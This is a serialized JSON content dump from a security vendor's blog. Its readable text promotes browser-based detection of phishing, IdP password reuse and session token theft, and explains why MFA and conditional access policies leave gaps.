them.","2024-06-06T00:00:00.000Z",{"items":192985},[192986,192988],{"sys":192987,"name":126984},{"id":126983},{"sys":192989,"name":342},{"id":4642},{"items":192991},[192992],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":192993},{"url":6503},"blog/introducing-session-token-theft-detection-why-browser-is-best",{"json":192996},{"data":192997,"content":192998,"nodeType":1382},{},[192999],{"data":193000,"content":193001,"nodeType":866},{},[193002],{"data":193003,"marks":193004,"value":193005,"nodeType":865},{},[],"Push identifies session token theft by adding telemetry to the user agent string – using the power of our browser agent to create a new high-fidelity signal for your security team.",{"id":126710,"publishedAt":193007},"2026-08-12T11:55:17.569Z",{"items":193009},[193010,193012],{"sys":193011,"name":342},{"id":4642},{"sys":193013,"name":126984},{"id":126983},{"items":193015},[193016,193018,193020,193022,193024,193026,193028,193030,193032,193034,193036],{"sys":193017,"name":279,"slug":280,"tier":31},{"id":276},{"sys":193019,"name":342,"slug":343,"tier":31},{"id":339},{"sys":193021,"name":413,"slug":414,"tier":31},{"id":410},{"sys":193023,"name":297,"slug":298,"tier":31},{"id":294},{"sys":193025,"name":571,"slug":572,"tier":45},{"id":568},{"sys":193027,"name":422,"slug":423,"tier":45},{"id":419},{"sys":193029,"name":404,"slug":405,"tier":45},{"id":401},{"sys":193031,"name":351,"slug":352,"tier":45},{"id":348},{"sys":193033,"name":466,"slug":467,"tier":45},{"id":463},{"sys":193035,"name":598,"slug":599,"tier":45},{"id":595},{"sys":193037,"name":377,"slug":378,"tier":45},{"id":374},"6NALxwByZU7T83nPujij4fs17n2Hsv8JXM23iqDL5Zs",{"id":193040,"title":142304,"authorsCollection":193041,"content":193046,"extension":228,"faqItemsCollection":193774,"faqTitle":59,"featured":6,"hashTags":59,"meta":193776,"metaTitle":193777,"ogImage":193778,"postType":42959,"publishedDate":189468,"relatedBlogPostsCollection":193780,"slug":189469,"stem":197370,"subtitle":59,"summary":197371,"synopsis":189467,"sys":197389,"tagsCollection":197391,"topicsCollection":197397,"__hash__":197431},"blog/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm.json",{"items":193042},[193043],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":193044,"profilePicture":193045},[62480],{"url":11425},{"json":193047,"links":193760},{"data":193048,"content":193049,"nodeType":1382},{},[193050,193056,193062,193068,193074,193080,193086,193092,193098,193104,193109,193115,193121,193127,193173,193179,193185,193201,193207,193213,193219,193245,193258,193264,193270,193276,193282,193288,193294,193310,193326,193424,193430,193446,193452,193458,193464,193469,193475,193481,193487,193513,193519,193525,193555,193561,193567,193649,193664,193670,193676,193682,193688,193734,193740,193743,193749,193754],{"data":193051,"content":193052,"nodeType":866},{},[193053],{"data":193054,"marks":193055,"value":188661,"nodeType":865},{},[],{"data":193057,"content":193058,"nodeType":866},{},[193059],{"data":193060,"marks":193061,"value":188668,"nodeType":865},{},[],{"data":193063,"content":193064,"nodeType":866},{},[193065],{"data":193066,"marks":193067,"value":188675,"nodeType":865},{},[],{"data":193069,"content":193070,"nodeType":981},{},[193071],{"data":193072,"marks":193073,"value":188682,"nodeType":865},{},[],{"data":193075,"content":193076,"nodeType":866},{},[193077],{"data":193078,"marks":193079,"value":188689,"nodeType":865},{},[],{"data":193081,"content":193082,"nodeType":866},{},[193083],{"data":193084,"marks":193085,"value":188696,"nodeType":865},{},[],{"data":193087,"content":193088,"nodeType":866},{},[193089],{"data":193090,"marks":193091,"value":188703,"nodeType":865},{},[],{"data":193093,"content":193094,"nodeType":866},{},[193095],{"data":193096,"marks":193097,"value":188710,"nodeType":865},{},[],{"data":193099,"content":193100,"nodeType":866},{},[193101],{"data":193102,"marks":193103,"value":188717,"nodeType":865},{},[],{"data":193105,"content":193108,"nodeType":912},{"target":193106},{"sys":193107},{"id":188722,"type":909,"linkType":910},[],{"data":193110,"content":193111,"nodeType":1317},{},[193112],{"data":193113,"marks":193114,"value":188730,"nodeType":865},{},[],{"data":193116,"content":193117,"nodeType":866},{},[193118],{"data":193119,"marks":193120,"value":188737,"nodeType":865},{},[],{"data":193122,"content":193123,"nodeType":866},{},[193124],{"data":193125,"marks":193126,"value":188744,"nodeType":865},{},[],{"data":193128,"content":193129,"nodeType":866},{},[193130,193133,193140,193143,193150,193153,193160,193163,193170],{"data":193131,"marks":193132,"value":188751,"nodeType":865},{},[],{"data":193134,"content":193135,"nodeType":889},{"uri":168274},[193136],{"data":193137,"marks":193138,"value":168279,"nodeType":865},{},[193139],{"type":943},{"data":193141,"marks":193142,"value":2717,"nodeType":865},{},[],{"data":193144,"content":193145,"nodeType":889},{"uri":168285},[193146],{"data":193147,"marks":193148,"value":168290,"nodeType":865},{},[193149],{"type":943},{"data":193151,"marks":193152,"value":188772,"nodeType":865},{},[],{"data":193154,"content":193155,"nodeType":889},{"uri":168296},[193156],{"data":193157,"marks":193158,"value":168301,"nodeType":865},{},[193159],{"type":943},{"data":193161,"marks":193162,"value":188783,"nodeType":865},{},[],{"data":193164,"content":193165,"nodeType":889},{"uri":168307},[193166],{"data":193167,"marks":193168,"value":168312,"nodeType":865},{},[193169],{"type":943},{"data":193171,"marks":193172,"value":1615,"nodeType":865},{},[],{"data":193174,"content":193175,"nodeType":866},{},[193176],{"data":193177,"marks":193178,"value":188800,"nodeType":865},{},[],{"data":193180,"content":193181,"nodeType":866},{},[193182],{"data":193183,"marks":193184,"value":188807,"nodeType":865},{},[],{"data":193186,"content":193187,"nodeType":866},{},[193188,193191,193198],{"data":193189,"marks":193190,"value":188814,"nodeType":865},{},[],{"data":193192,"content":193193,"nodeType":889},{"uri":188817},[193194],{"data":193195,"marks":193196,"value":188823,"nodeType":865},{},[193197],{"type":943},{"data":193199,"marks":193200,"value":113401,"nodeType":865},{},[],{"data":193202,"content":193203,"nodeType":1317},{},[193204],{"data":193205,"marks":193206,"value":188833,"nodeType":865},{},[],{"data":193208,"content":193209,"nodeType":866},{},[193210],{"data":193211,"marks":193212,"value":188840,"nodeType":865},{},[],{"data":193214,"content":193215,"nodeType":866},{},[193216],{"data":193217,"marks":193218,"value":188847,"nodeType":865},{},[],{"data":193220,"content":193221,"nodeType":866},{},[193222,193225,193232,193235,193242],{"data":193223,"marks":193224,"value":188854,"nodeType":865},{},[],{"data":193226,"content":193227,"nodeType":889},{"uri":188857},[193228],{"data":193229,"marks":193230,"value":188863,"nodeType":865},{},[193231],{"type":943},{"data":193233,"marks":193234,"value":188867,"nodeType":865},{},[],{"data":193236,"content":193237,"nodeType":889},{"uri":188870},[193238],{"data":193239,"marks":193240,"value":188876,"nodeType":865},{},[193241],{"type":943},{"data":193243,"marks":193244,"value":188880,"nodeType":865},{},[],{"data":193246,"content":193247,"nodeType":866},{},[193248,193251,193255],{"data":193249,"marks":193250,"value":188887,"nodeType":865},{},[],{"data":193252,"marks":193253,"value":188892,"nodeType":865},{},[193254],{"type":926},{"data":193256,"marks":193257,"value":188896,"nodeType":865},{},[],{"data":193259,"content":193260,"nodeType":866},{},[193261],{"data":193262,"marks":193263,"value":188903,"nodeType":865},{},[],{"data":193265,"content":193266,"nodeType":866},{},[193267],{"data":193268,"marks":193269,"value":188910,"nodeType":865},{},[],{"data":193271,"content":193272,"nodeType":981},{},[193273],{"data":193274,"marks":193275,"value":188917,"nodeType":865},{},[],{"data":193277,"content":193278,"nodeType":866},{},[193279],{"data":193280,"marks":193281,"value":188924,"nodeType":865},{},[],{"data":193283,"content":193284,"nodeType":866},{},[193285],{"data":193286,"marks":193287,"value":188931,"nodeType":865},{},[],{"data":193289,"content":193290,"nodeType":866},{},[193291],{"data":193292,"marks":193293,"value":188938,"nodeType":865},{},[],{"data":193295,"content":193296,"nodeType":866},{},[193297,193300,193307],{"data":193298,"marks":193299,"value":188945,"nodeType":865},{},[],{"data":193301,"content":193302,"nodeType":889},{"uri":188948},[193303],{"data":193304,"marks":193305,"value":188954,"nodeType":865},{},[193306],{"type":943},{"data":193308,"marks":193309,"value":188958,"nodeType":865},{},[],{"data":193311,"content":193312,"nodeType":866},{},[193313,193316,193323],{"data":193314,"marks":193315,"value":188965,"nodeType":865},{},[],{"data":193317,"content":193318,"nodeType":889},{"uri":13171},[193319],{"data":193320,"marks":193321,"value":115902,"nodeType":865},{},[193322],{"type":943},{"data":193324,"marks":193325,"value":188976,"nodeType":865},{},[],{"data":193327,"content":193328,"nodeType":1616},{},[193329,193348,193367,193386,193405],{"data":193330,"content":193331,"nodeType":1570},{},[193332],{"data":193333,"content":193334,"nodeType":866},{},[193335,193338,193345],{"data":193336,"marks":193337,"value":21,"nodeType":865},{},[],{"data":193339,"content":193340,"nodeType":889},{"uri":101210},[193341],{"data":193342,"marks":193343,"value":188996,"nodeType":865},{},[193344],{"type":943},{"data":193346,"marks":193347,"value":21,"nodeType":865},{},[],{"data":193349,"content":193350,"nodeType":1570},{},[193351],{"data":193352,"content":193353,"nodeType":866},{},[193354,193357,193364],{"data":193355,"marks":193356,"value":21,"nodeType":865},{},[],{"data":193358,"content":193359,"nodeType":889},{"uri":189011},[193360],{"data":193361,"marks":193362,"value":189017,"nodeType":865},{},[193363],{"type":943},{"data":193365,"marks":193366,"value":21,"nodeType":865},{},[],{"data":193368,"content":193369,"nodeType":1570},{},[193370],{"data":193371,"content":193372,"nodeType":866},{},[193373,193376,193383],{"data":193374,"marks":193375,"value":21,"nodeType":865},{},[],{"data":193377,"content":193378,"nodeType":889},{"uri":53259},[193379],{"data":193380,"marks":193381,"value":189037,"nodeType":865},{},[193382],{"type":943},{"data":193384,"marks":193385,"value":21,"nodeType":865},{},[],{"data":193387,"content":193388,"nodeType":1570},{},[193389],{"data":193390,"content":193391,"nodeType":866},{},[193392,193395,193402],{"data":193393,"marks":193394,"value":21,"nodeType":865},{},[],{"data":193396,"content":193397,"nodeType":889},{"uri":169773},[193398],{"data":193399,"marks":193400,"value":189057,"nodeType":865},{},[193401],{"type":943},{"data":193403,"marks":193404,"value":21,"nodeType":865},{},[],{"data":193406,"content":193407,"nodeType":1570},{},[193408],{"data":193409,"content":193410,"nodeType":866},{},[193411,193414,193421],{"data":193412,"marks":193413,"value":21,"nodeType":865},{},[],{"data":193415,"content":193416,"nodeType":889},{"uri":145802},[193417],{"data":193418,"marks":193419,"value":189077,"nodeType":865},{},[193420],{"type":943},{"data":193422,"marks":193423,"value":21,"nodeType":865},{},[],{"data":193425,"content":193426,"nodeType":866},{},[193427],{"data":193428,"marks":193429,"value":189087,"nodeType":865},{},[],{"data":193431,"content":193432,"nodeType":866},{},[193433,193436,193443],{"data":193434,"marks":193435,"value":189094,"nodeType":865},{},[],{"data":193437,"content":193438,"nodeType":889},{"uri":105869},[193439],{"data":193440,"marks":193441,"value":105875,"nodeType":865},{},[193442],{"type":943},{"data":193444,"marks":193445,"value":189105,"nodeType":865},{},[],{"data":193447,"content":193448,"nodeType":981},{},[193449],{"data":193450,"marks":193451,"value":189112,"nodeType":865},{},[],{"data":193453,"content":193454,"nodeType":866},{},[193455],{"data":193456,"marks":193457,"value":189119,"nodeType":865},{},[],{"data":193459,"content":193460,"nodeType":866},{},[193461],{"data":193462,"marks":193463,"value":189126,"nodeType":865},{},[],{"data":193465,"content":193468,"nodeType":912},{"target":193466},{"sys":193467},{"id":189131,"type":909,"linkType":910},[],{"data":193470,"content":193471,"nodeType":866},{},[193472],{"data":193473,"marks":193474,"value":189139,"nodeType":865},{},[],{"data":193476,"content":193477,"nodeType":981},{},[193478],{"data":193479,"marks":193480,"value":189146,"nodeType":865},{},[],{"data":193482,"content":193483,"nodeType":866},{},[193484],{"data":193485,"marks":193486,"value":189153,"nodeType":865},{},[],{"data":193488,"content":193489,"nodeType":866},{},[193490,193493,193503,193506,193510],{"data":193491,"marks":193492,"value":189160,"nodeType":865},{},[],{"data":193494,"content":193495,"nodeType":889},{"uri":171106},[193496,193500],{"data":193497,"marks":193498,"value":189168,"nodeType":865},{},[193499],{"type":943},{"data":193501,"marks":193502,"value":53681,"nodeType":865},{},[],{"data":193504,"marks":193505,"value":189175,"nodeType":865},{},[],{"data":193507,"marks":193508,"value":189180,"nodeType":865},{},[193509],{"type":926},{"data":193511,"marks":193512,"value":189184,"nodeType":865},{},[],{"data":193514,"content":193515,"nodeType":981},{},[193516],{"data":193517,"marks":193518,"value":145245,"nodeType":865},{},[],{"data":193520,"content":193521,"nodeType":866},{},[193522],{"data":193523,"marks":193524,"value":189197,"nodeType":865},{},[],{"data":193526,"content":193527,"nodeType":1616},{},[193528,193537,193546],{"data":193529,"content":193530,"nodeType":1570},{},[193531],{"data":193532,"content":193533,"nodeType":866},{},[193534],{"data":193535,"marks":193536,"value":189210,"nodeType":865},{},[],{"data":193538,"content":193539,"nodeType":1570},{},[193540],{"data":193541,"content":193542,"nodeType":866},{},[193543],{"data":193544,"marks":193545,"value":189220,"nodeType":865},{},[],{"data":193547,"content":193548,"nodeType":1570},{},[193549],{"data":193550,"content":193551,"nodeType":866},{},[193552],{"data":193553,"marks":193554,"value":189230,"nodeType":865},{},[],{"data":193556,"content":193557,"nodeType":981},{},[193558],{"data":193559,"marks":193560,"value":189237,"nodeType":865},{},[],{"data":193562,"content":193563,"nodeType":866},{},[193564],{"data":193565,"marks":193566,"value":189244,"nodeType":865},{},[],{"data":193568,"content":193569,"nodeType":1616},{},[193570,193583,193613,193636],{"data":193571,"content":193572,"nodeType":1570},{},[193573],{"data":193574,"content":193575,"nodeType":866},{},[193576,193580],{"data":193577,"marks":193578,"value":189258,"nodeType":865},{},[193579],{"type":926},{"data":193581,"marks":193582,"value":189262,"nodeType":865},{},[],{"data":193584,"content":193585,"nodeType":1570},{},[193586],{"data":193587,"content":193588,"nodeType":866},{},[193589,193593,193596,193600,193603,193610],{"data":193590,"marks":193591,"value":189273,"nodeType":865},{},[193592],{"type":926},{"data":193594,"marks":193595,"value":2688,"nodeType":865},{},[],{"data":193597,"marks":193598,"value":189281,"nodeType":865},{},[193599],{"type":926},{"data":193601,"marks":193602,"value":189285,"nodeType":865},{},[],{"data":193604,"content":193605,"nodeType":889},{"uri":189288},[193606],{"data":193607,"marks":193608,"value":189294,"nodeType":865},{},[193609],{"type":943},{"data":193611,"marks":193612,"value":21,"nodeType":865},{},[],{"data":193614,"content":193615,"nodeType":1570},{},[193616],{"data":193617,"content":193618,"nodeType":866},{},[193619,193623,193626,193633],{"data":193620,"marks":193621,"value":189308,"nodeType":865},{},[193622],{"type":926},{"data":193624,"marks":193625,"value":189312,"nodeType":865},{},[],{"data":193627,"content":193628,"nodeType":889},{"uri":189315},[193629],{"data":193630,"marks":193631,"value":189321,"nodeType":865},{},[193632],{"type":943},{"data":193634,"marks":193635,"value":189325,"nodeType":865},{},[],{"data":193637,"content":193638,"nodeType":1570},{},[193639],{"data":193640,"content":193641,"nodeType":866},{},[193642,193646],{"data":193643,"marks":193644,"value":189336,"nodeType":865},{},[193645],{"type":926},{"data":193647,"marks":193648,"value":189340,"nodeType":865},{},[],{"data":193650,"content":193651,"nodeType":866},{},[193652,193655,193661],{"data":193653,"marks":193654,"value":189347,"nodeType":865},{},[],{"data":193656,"content":193657,"nodeType":889},{"uri":131844},[193658],{"data":193659,"marks":193660,"value":189354,"nodeType":865},{},[],{"data":193662,"marks":193663,"value":6719,"nodeType":865},{},[],{"data":193665,"content":193666,"nodeType":981},{},[193667],{"data":193668,"marks":193669,"value":57175,"nodeType":865},{},[],{"data":193671,"content":193672,"nodeType":866},{},[193673],{"data":193674,"marks":193675,"value":189370,"nodeType":865},{},[],{"data":193677,"content":193678,"nodeType":866},{},[193679],{"data":193680,"marks":193681,"value":189377,"nodeType":865},{},[],{"data":193683,"content":193684,"nodeType":866},{},[193685],{"data":193686,"marks":193687,"value":189384,"nodeType":865},{},[],{"data":193689,"content":193690,"nodeType":866},{},[193691,193694,193701,193704,193711,193714,193721,193724,193731],{"data":193692,"marks":193693,"value":189391,"nodeType":865},{},[],{"data":193695,"content":193696,"nodeType":889},{"uri":182573},[193697],{"data":193698,"marks":193699,"value":182579,"nodeType":865},{},[193700],{"type":943},{"data":193702,"marks":193703,"value":53880,"nodeType":865},{},[],{"data":193705,"content":193706,"nodeType":889},{"uri":182585},[193707],{"data":193708,"marks":193709,"value":189409,"nodeType":865},{},[193710],{"type":943},{"data":193712,"marks":193713,"value":189413,"nodeType":865},{},[],{"data":193715,"content":193716,"nodeType":889},{"uri":105882},[193717],{"data":193718,"marks":193719,"value":189421,"nodeType":865},{},[193720],{"type":943},{"data":193722,"marks":193723,"value":189425,"nodeType":865},{},[],{"data":193725,"content":193726,"nodeType":889},{"uri":189428},[193727],{"data":193728,"marks":193729,"value":189434,"nodeType":865},{},[193730],{"type":943},{"data":193732,"marks":193733,"value":189438,"nodeType":865},{},[],{"data":193735,"content":193736,"nodeType":866},{},[193737],{"data":193738,"marks":193739,"value":189445,"nodeType":865},{},[],{"data":193741,"content":193742,"nodeType":972},{},[],{"data":193744,"content":193745,"nodeType":866},{},[193746],{"data":193747,"marks":193748,"value":189455,"nodeType":865},{},[],{"data":193750,"content":193753,"nodeType":912},{"target":193751},{"sys":193752},{"id":188722,"type":909,"linkType":910},[],{"data":193755,"content":193756,"nodeType":866},{},[193757],{"data":193758,"marks":193759,"value":21,"nodeType":865},{},[],{"entries":193761},{"hyperlink":193762,"inline":193763,"block":193764},[],[],[193765,193768],{"sys":193766,"__typename":1414,"type":1415,"ctaText":193767,"buttonLabel":144710,"buttonColour":148156,"buttonUrl":168332},{"id":188722},"On-demand Webinar: Phishing 2.0 - Detecting Evilginx, EvilnoVNC, Muraena and Modlishka",{"sys":193769,"__typename":131392,"title":193770,"youTubeUrl":193771,"imagePlaceholder":193772},{"id":189131},"AitM phishing demo","https://www.youtube.com/watch?v=TEWzVvXTdXk",{"url":193773,"width":47177,"height":47178},"https://images.ctfassets.net/y1cdw1ablpvd/2O59jdR3b98uW4KTukm3Da/c671989fada93d0d5ac1ecca4cf4860e/Introducing_SSO_Password_Protection__1_.png",{"items":193775},[],{},"How AitM phishing is being used to circumvent MFA",{"url":193779},"https://images.ctfassets.net/y1cdw1ablpvd/4cDgbIuB2QTKlXBYVx59VT/71f07018bac1c9225114c57934b8603f/Introducing_SSO_Password_Protection__2_.png",{"items":193781},[193782,194323,197006],{"__typename":1429,"sys":193783,"content":193784,"title":194309,"synopsis":194310,"hashTags":59,"publishedDate":194311,"slug":194312,"tagsCollection":194313,"authorsCollection":194319},{"id":192728},{"json":193785},{"data":193786,"content":193787,"nodeType":1382},{},[193788,193794,193800,193807,193814,193829,193862,193869,193877,193882,193897,193905,193911,193918,193925,193932,193939,193947,193954,193969,193985,193990,193997,194015,194033,194040,194063,194070,194093,194108,194115,194134,194141,194214,194221,194237,194244,194251,194258,194265,194281,194287,194293],{"data":193789,"content":193790,"nodeType":866},{},[193791],{"data":193792,"marks":193793,"value":21,"nodeType":865},{},[],{"data":193795,"content":193799,"nodeType":912},{"target":193796},{"sys":193797},{"id":193798,"type":909,"linkType":910},"5cseu1Cre2FrSQrIhSFxQw",[],{"data":193801,"content":193802,"nodeType":866},{},[193803],{"data":193804,"marks":193805,"value":193806,"nodeType":865},{},[],"Reliably detecting phishing sites is like trying to hit a moving target, as malicious websites and domains emerge, get taken down, and re-emerge continuously across the sprawl of the web.",{"data":193808,"content":193809,"nodeType":866},{},[193810],{"data":193811,"marks":193812,"value":193813,"nodeType":865},{},[],"Existing phishing prevention solutions have tried to solve the problem by protecting the inbox, a common (but not the only) attack vector, or by chasing lists of known-bad domains.",{"data":193815,"content":193816,"nodeType":866},{},[193817,193821,193826],{"data":193818,"marks":193819,"value":193820,"nodeType":865},{},[],"But these approaches have ",{"data":193822,"marks":193823,"value":193825,"nodeType":865},{},[193824],{"type":926},"two major shortcomings",{"data":193827,"marks":193828,"value":84015,"nodeType":865},{},[],{"data":193830,"content":193831,"nodeType":1616},{},[193832,193847],{"data":193833,"content":193834,"nodeType":1570},{},[193835],{"data":193836,"content":193837,"nodeType":866},{},[193838,193843],{"data":193839,"marks":193840,"value":193842,"nodeType":865},{},[193841],{"type":926},"Lack of coverage:",{"data":193844,"marks":193845,"value":193846,"nodeType":865},{},[]," Email-based phishing prevention tools can catch general spray-and-pray email phishing campaigns, but it only takes a small amount of tailoring to fly under their radar. The use of LLM tools to tailor phishing emails for their intended victims already makes this possible at scale. Email-based tools also fail to cover phishing attacks beyond the inbox, such as Slack and Teams phishing.",{"data":193848,"content":193849,"nodeType":1570},{},[193850],{"data":193851,"content":193852,"nodeType":866},{},[193853,193858],{"data":193854,"marks":193855,"value":193857,"nodeType":865},{},[193856],{"type":926},"Expired intel:",{"data":193859,"marks":193860,"value":193861,"nodeType":865},{},[]," Tools that rely on known-bad domains always have an incomplete picture because a domain must be reported as malicious in order to get added to a blocklist. Meanwhile, attackers can spin up new sites or host phishing pages on existing sites by exploiting vulnerabilities in them, bypassing rules around preventing visits to newly registered domains. ",{"data":193863,"content":193864,"nodeType":866},{},[193865],{"data":193866,"marks":193867,"value":193868,"nodeType":865},{},[],"Using Push’s unique vantage point in the browser, we set out to attack this problem from a new angle. ",{"data":193870,"content":193871,"nodeType":866},{},[193872],{"data":193873,"marks":193874,"value":193876,"nodeType":865},{},[193875],{"type":926},"Instead of trying to detect phishing websites and domains that constantly change, we can now detect (and block!) phishing attempts based on directly observing user behavior in the browser.",{"data":193878,"content":193881,"nodeType":912},{"target":193879},{"sys":193880},{"id":192031,"type":909,"linkType":910},[],{"data":193883,"content":193884,"nodeType":866},{},[193885,193889,193893],{"data":193886,"marks":193887,"value":193888,"nodeType":865},{},[],"Our latest feature, ",{"data":193890,"marks":193891,"value":131656,"nodeType":865},{},[193892],{"type":926},{"data":193894,"marks":193895,"value":193896,"nodeType":865},{},[],", detects and blocks when a user enters their identity provider password on a webpage that does not belong to the IdP (e.g Okta, Google Workspace, Microsoft 365, etc.).",{"data":193898,"content":193899,"nodeType":866},{},[193900],{"data":193901,"marks":193902,"value":193904,"nodeType":865},{},[193903],{"type":926},"This means that even if that employee was the first person to get phished using a new attacker site, Push still detects it and blocks it.",{"data":193906,"content":193910,"nodeType":912},{"target":193907},{"sys":193908},{"id":193909,"type":909,"linkType":910},"4eCSQGec7mozFLDucNMO7m",[],{"data":193912,"content":193913,"nodeType":1317},{},[193914],{"data":193915,"marks":193916,"value":193917,"nodeType":865},{},[],"How does it work?",{"data":193919,"content":193920,"nodeType":866},{},[193921],{"data":193922,"marks":193923,"value":193924,"nodeType":865},{},[],"Instead of detecting a phishing page based on a known-bad signature, the Push browser agent dynamically inspects user behavior and the attributes of the page itself.",{"data":193926,"content":193927,"nodeType":866},{},[193928],{"data":193929,"marks":193930,"value":193931,"nodeType":865},{},[],"The browser agent works by observing all logins and generating a salted partial hash of the user’s password, known as a fingerprint. This fingerprint is then stored locally to allow Push to perform comparisons. ",{"data":193933,"content":193934,"nodeType":866},{},[193935],{"data":193936,"marks":193937,"value":193938,"nodeType":865},{},[],"To detect potential phishing attacks, the browser agent compares the observed password fingerprint to known fingerprints for identity provider passwords that already exist in local storage. ",{"data":193940,"content":193941,"nodeType":866},{},[193942],{"data":193943,"marks":193944,"value":193946,"nodeType":865},{},[193945],{"type":926},"If an employee enters a known IdP password on a webpage that Push doesn’t recognize, Push blocks it. ",{"data":193948,"content":193949,"nodeType":866},{},[193950],{"data":193951,"marks":193952,"value":193953,"nodeType":865},{},[],"Once you’ve discovered a malicious site, use Push’s companion feature, URL blocking, to add the domain to a blocklist and prevent your other end-users from visiting the site. ",{"data":193955,"content":193956,"nodeType":866},{},[193957,193960,193966],{"data":193958,"marks":193959,"value":168170,"nodeType":865},{},[],{"data":193961,"content":193962,"nodeType":889},{"uri":168173},[193963],{"data":193964,"marks":193965,"value":157843,"nodeType":865},{},[],{"data":193967,"marks":193968,"value":168181,"nodeType":865},{},[],{"data":193970,"content":193971,"nodeType":866},{},[193972,193976,193981],{"data":193973,"marks":193974,"value":193975,"nodeType":865},{},[],"Push administrators can configure SSO password protection in Monitor, Warn, or Block modes to first observe how often employees are re-using IdP credentials on other sites, eliminating any false positives by adding them to an ignore list, and then turning on Warn or Block to ",{"data":193977,"marks":193978,"value":193980,"nodeType":865},{},[193979],{"type":926},"show a custom message",{"data":193982,"marks":193983,"value":193984,"nodeType":865},{},[]," that either provides a speedbump for users (“Are you sure this isn’t a phishing site?”) or prevents them from logging in altogether.",{"data":193986,"content":193989,"nodeType":912},{"target":193987},{"sys":193988},{"id":80380,"type":909,"linkType":910},[],{"data":193991,"content":193992,"nodeType":866},{},[193993],{"data":193994,"marks":193995,"value":193996,"nodeType":865},{},[],"Supported identity providers include Okta, Microsoft 365, Google Workspace, JumpCloud, Duo and Ping Identity. ",{"data":193998,"content":193999,"nodeType":866},{},[194000,194004,194011],{"data":194001,"marks":194002,"value":194003,"nodeType":865},{},[],"You can also ",{"data":194005,"content":194006,"nodeType":889},{"uri":126491},[194007],{"data":194008,"marks":194009,"value":194010,"nodeType":865},{},[],"get alerted",{"data":194012,"marks":194013,"value":194014,"nodeType":865},{},[]," via webhook when Push detects a suspected phishing event.",{"data":194016,"content":194017,"nodeType":866},{},[194018,194022,194030],{"data":194019,"marks":194020,"value":194021,"nodeType":865},{},[],"Learn more about how it works and the end-user experience in our ",{"data":194023,"content":194026,"nodeType":33606},{"target":194024},{"sys":194025},{"id":58195,"type":909,"linkType":910},[194027],{"data":194028,"marks":194029,"value":123871,"nodeType":865},{},[],{"data":194031,"marks":194032,"value":1615,"nodeType":865},{},[],{"data":194034,"content":194035,"nodeType":1317},{},[194036],{"data":194037,"marks":194038,"value":194039,"nodeType":865},{},[],"But what about … ",{"data":194041,"content":194042,"nodeType":866},{},[194043,194047,194051,194054,194059],{"data":194044,"marks":194045,"value":194046,"nodeType":865},{},[],"Yes, we believe ",{"data":194048,"marks":194049,"value":457,"nodeType":865},{},[194050],{"type":926},{"data":194052,"marks":194053,"value":4988,"nodeType":865},{},[],{"data":194055,"marks":194056,"value":194058,"nodeType":865},{},[194057],{"type":926},"conditional access policies",{"data":194060,"marks":194061,"value":194062,"nodeType":865},{},[]," are important parts of a defense-in-depth strategy against phishing — in addition to protecting IdP credentials directly in the browser.",{"data":194064,"content":194065,"nodeType":866},{},[194066],{"data":194067,"marks":194068,"value":194069,"nodeType":865},{},[],"Here’s why MFA and conditional access policies aren’t enough:",{"data":194071,"content":194072,"nodeType":1616},{},[194073,194083],{"data":194074,"content":194075,"nodeType":1570},{},[194076],{"data":194077,"content":194078,"nodeType":866},{},[194079],{"data":194080,"marks":194081,"value":194082,"nodeType":865},{},[],"MFA is not infallible and not all MFA methods are created equal. Methods such as SMS, TOTP, or even push notifications are phishable. Even if your employees are also using more phishing-resistant forms of MFA, such as WebAuthn, it’s common for accounts to use multiple MFA methods and an attacker need only target the weakest one. An attacker in possession of an SSO password also has leverage to socially engineer an authentication reset, including an MFA reset.",{"data":194084,"content":194085,"nodeType":1570},{},[194086],{"data":194087,"content":194088,"nodeType":866},{},[194089],{"data":194090,"marks":194091,"value":194092,"nodeType":865},{},[],"It’s worryingly common for us to deploy Push and find that a customer’s conditional access policies aren’t implemented as they are designed to be. The most common reason is that admins have to create so many exceptions to allow for real-world situations that policies become complex and full of gaps.",{"data":194094,"content":194095,"nodeType":866},{},[194096,194100,194104],{"data":194097,"marks":194098,"value":194099,"nodeType":865},{},[],"And of course, protecting ",{"data":194101,"marks":194102,"value":65541,"nodeType":865},{},[194103],{"type":898},{"data":194105,"marks":194106,"value":194107,"nodeType":865},{},[]," your organization’s passwords is important. In fact, we’re currently developing this feature further so it will do just that! We focus here on IdP passwords because they’re a higher-value target for attackers — and the frequent target of recent real-world attacks.",{"data":194109,"content":194110,"nodeType":1317},{},[194111],{"data":194112,"marks":194113,"value":194114,"nodeType":865},{},[],"Why IdP accounts?",{"data":194116,"content":194117,"nodeType":866},{},[194118,194122,194130],{"data":194119,"marks":194120,"value":194121,"nodeType":865},{},[],"IdP accounts have been targeted in several high-profile recent attacks, like those carried out by Scattered Spider against MGM resorts and in the Retool breach. You can read more about them in our ",{"data":194123,"content":194126,"nodeType":33606},{"target":194124},{"sys":194125},{"id":182999,"type":909,"linkType":910},[194127],{"data":194128,"marks":194129,"value":167907,"nodeType":865},{},[],{"data":194131,"marks":194132,"value":194133,"nodeType":865},{},[]," blog article.",{"data":194135,"content":194136,"nodeType":866},{},[194137],{"data":194138,"marks":194139,"value":194140,"nodeType":865},{},[],"In the cloud-first world, a compromised IdP account is like a compromised user workstation. It gives an attacker a solid initial foothold from which they can operate:",{"data":194142,"content":194143,"nodeType":1616},{},[194144,194166],{"data":194145,"content":194146,"nodeType":1570},{},[194147],{"data":194148,"content":194149,"nodeType":866},{},[194150,194154,194163],{"data":194151,"marks":194152,"value":194153,"nodeType":865},{},[],"They instantly get access to all the apps the compromised user was accessing with SSO. It’s easy to move laterally to sensitive apps or to apps where the user has admin privileges. This obviously enables an attacker to directly exfiltrate data from these apps or to use them maliciously, as in the ",{"data":194155,"content":194158,"nodeType":33606},{"target":194156},{"sys":194157},{"id":182999,"type":909,"linkType":910},[194159],{"data":194160,"marks":194161,"value":194162,"nodeType":865},{},[],"Mandiant and SEC Twitter/X breaches",{"data":194164,"marks":194165,"value":1615,"nodeType":865},{},[],{"data":194167,"content":194168,"nodeType":1570},{},[194169],{"data":194170,"content":194171,"nodeType":866},{},[194172,194176,194185,194189,194198,194201,194210],{"data":194173,"marks":194174,"value":194175,"nodeType":865},{},[],"Assuming an attacker hasn’t initially gotten access to a privileged IdP account, they can escalate their privileges by performing 